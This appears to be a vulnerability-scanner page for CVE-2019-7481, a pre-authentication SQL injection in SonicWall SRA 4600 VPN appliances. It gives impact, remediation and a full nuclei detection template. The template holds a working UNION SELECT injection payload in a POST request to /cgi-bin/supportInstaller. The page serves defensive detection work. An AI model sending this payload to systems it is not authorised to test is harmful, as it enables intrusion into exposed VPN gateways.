SonicWall SRA 4600 VPN - SQL Injection

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

highseverity

7.5CVSS score

99.9%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

The SonicWall SRA 4600 VPN appliance is susceptible to a pre-authentication SQL injection vulnerability.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL commands, potentially leading to unauthorized access, data leakage, or denial of service.

Fix

Apply the latest security patches or firmware updates provided by SonicWall to mitigate this vulnerability.

How to confirm it

Send: POST /cgi-bin/supportInstaller
Positive when: contains "4220397236"

Run it with nuclei: nuclei -id CVE-2019-7481 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-7481

info:
  name: SonicWall SRA 4600 VPN - SQL Injection
  author: _darrenmartyn
  severity: high
  description: The SonicWall SRA 4600 VPN appliance is susceptible to a pre-authentication SQL injection vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL commands, potentially leading to unauthorized access, data leakage, or denial of service.
  remediation: |
    Apply the latest security patches or firmware updates provided by SonicWall to mitigate this vulnerability.
  reference:
    - https://www.crowdstrike.com/blog/how-ecrime-groups-leverage-sonicwall-vulnerability-cve-2019-7481/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-7481
    - https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2019-0016
    - https://github.com/Ostorlab/KEV
    - https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-7481
    cwe-id: CWE-89
    epss-score: 0.99906
    epss-percentile: 0.99967
    cpe: cpe:2.3:o:sonicwall:sma_100_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sonicwall
    product: sma_100_firmware
  tags: cve,cve2019,sonicwall,sqli,kev,vkev,vuln

http:
  - raw:
      - |
        POST /cgi-bin/supportInstaller HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: identity
        User-Agent: MSIE
        Content-Type: application/x-www-form-urlencoded

        fromEmailInvite=1&customerTID=unpossible'+UNION+SELECT+0,0,0,11132*379123,0,0,0,0--

    matchers:
      - type: word
        part: body
        words:
          - "4220397236"

References

Use this check only on systems you are authorised to test. Where the data comes from